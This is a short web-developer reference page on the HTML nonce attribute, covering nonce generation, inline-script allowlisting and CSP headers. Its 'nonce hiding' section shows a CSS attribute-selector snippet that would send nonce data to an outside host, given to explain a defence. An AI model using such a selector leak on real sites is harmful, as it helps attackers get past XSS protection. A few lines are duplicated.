nonce

The HTML nonce attribute provides a unique token for <script> or <style> elements, enhancing security by allowing only authorized content to be executed or applied.

nonce Attribute

The nonce attribute is utilized in <script> and <style> elements to define a cryptographic nonce, enabling the browser to verify inline scripts or styles and mitigate cross-site scripting (XSS) attacks.

Use nonce only when necessary for inline scripts or styles; prefer CSP hashes for static scripts. Always prioritize CSP protections and minimize reliance on nonces.

Syntax

index.html
<script nonce="randomNonceValue">
  // Your script here
</script>
<style nonce="randomNonceValue">
  /* Your styles here */
</style>

Generating values

  • From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs:
script.js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

Allowlisting inline script

  • The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:
index.html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

Sending a nonce with a CSP header

  • Finally, you'll need to send the nonce value in a Content-Security-Policy header (prepend nonce-):
http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

Accessing nonces and nonce hiding

  • For security reasons, the nonce content attribute is hidden (an empty string will be returned).
script.js
script.getAttribute("nonce"); // returns empty string
The nonce property is the only way to access nonces:
  • The nonce property is the only way to access nonces:
script.js
script.nonce; // returns nonce value
Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this:
  • Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this:
style.css
script[nonce~="whatever"] {
  background: url("https://institute.qarpeo.com");
}

Usage

To allow execution, include the nonce attribute in <script> and <style> elements, ensuring the nonce value matches the one specified in the Content Security Policy (/csP) header.

The nonce value must match the one set in the server's CSP header for the script or style to run.

Conclusion

The nonce attribute in HTML provides a security measure for inline <script> and <style> elements by allowing only authorized content to execute, protecting against XSS attacks. It requires a randomly generated, cryptographically secure token that must match the one specified in the server’s Content Security Policy (CSP). Nonces should be used sparingly and only when necessary, with a preference for CSP hashes for static content.